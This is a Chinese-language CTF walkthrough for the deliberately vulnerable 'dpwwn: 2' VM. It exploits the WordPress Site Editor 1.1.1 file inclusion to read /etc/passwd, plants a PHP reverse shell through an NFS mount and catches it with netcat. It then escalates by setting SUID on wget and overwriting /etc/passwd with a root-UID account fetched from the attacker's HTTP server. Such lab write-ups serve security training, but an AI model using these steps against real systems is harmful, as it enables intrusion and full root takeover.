dpwwn: 2

Description

  • Name: dpwwn: 2
  • Date release: 8 Aug 2019
  • DHCP service: Disabled
  • Static IP address: 10.10.10.10/24
  • Goal: Get the root shell i.e.(root@dpwwn-02:~#) and then obtain flag under /root(dpwwn-02-FLAG.txt).

Download

(Size: 1.4 GB)

端口扫描

namp -sV -p- 10.10.10.10

image-20200711142345781

先访问80端口http服务,就一句话:

Welcome Mate : dpwwn-02 GOAL IS SIMPLE : OBTAIN: # shell like root@dpwwn-02:~# 

漏洞发现

先扫描一波目录看看,发现还有个wordpress

image-20200711142711440

使用wpscan扫描看看

wpscan --url http://10.10.10.10/wordpress -e p

image-20200711150251333

site-editor 1.1.1插件是存在漏洞的(wpscan没有提示漏洞,后来看人的wp,是有提示的)

searchsploit site editor 1.1.1

image-20200711150358441

将exp复制到当前工作目录

searchsploit -m 44340

image-20200711150641668

image-20200711150814904

漏洞利用

curl http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

image-20200711150933118

成功读取/etc/passwd中的内容,接下来是如何进一步的能够上传反弹shell到靶机上,注意到之前nmap扫描的结果,在2049端口运行着网络文件共享(NFS)服务,通过showmount -e显示NFS服务器的输出清单

showmount -e 10.10.10.10

image-20200711151629672

在本地建立一个问文件夹ctf,挂载到home/dpwwn02

mkdir ctf
mount -t nfs 10.10.10.10:/home/dpwwn02 ctf

image-20200711152059235

/usr/share/webshells/php/php-reverse-shell.php文件中的IP修改为Kali攻击机IP,并复制到ctf目录中

image-20200711152537743

getshell

在kali中监听端口1234

nc -lvp 1234

在浏览器中访问

http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/shell.php

image-20200711154103653

提权

查找具有特殊权限SUID的文件

find / -perm /u=s

image-20200711155645483

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

通过find命令给wget命令提供SUID权限

which wget
find /home -exec chmod u+s /usr/bin/wget ;
ls –la /usr/bin/wget

image-20200711160403925

通过OpenSSL passwd生成一个新的用户hacker,密码为yoloyanng

openssl passwd -1 -salt hacker yoloyanng

得到:$1$hacker$WfwIT58gFY6HX.Q3RXYpf/,将其追加到靶机/etc/passwd文件中

(靶机)# cat /etc/passwd
(Kali)# vim passwd  // (复制靶机/etc/passwd中的内容)

hacker:$1$hacker$WfwIT58gFY6HX.Q3RXYpf/:0:0:/root:/bin/bash追加到passwd

在Kali上启动一个python服务器

python -m SimpleHTTPServer 80

将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件

wget -O passwd http://10.10.10.128/passwd

image-20200711161742797

然后切换到hacker用户即可,密码yoloyanng

image-20200711161908366

原文地址:https://www.cnblogs.com/yoloyanng/p/13284110.html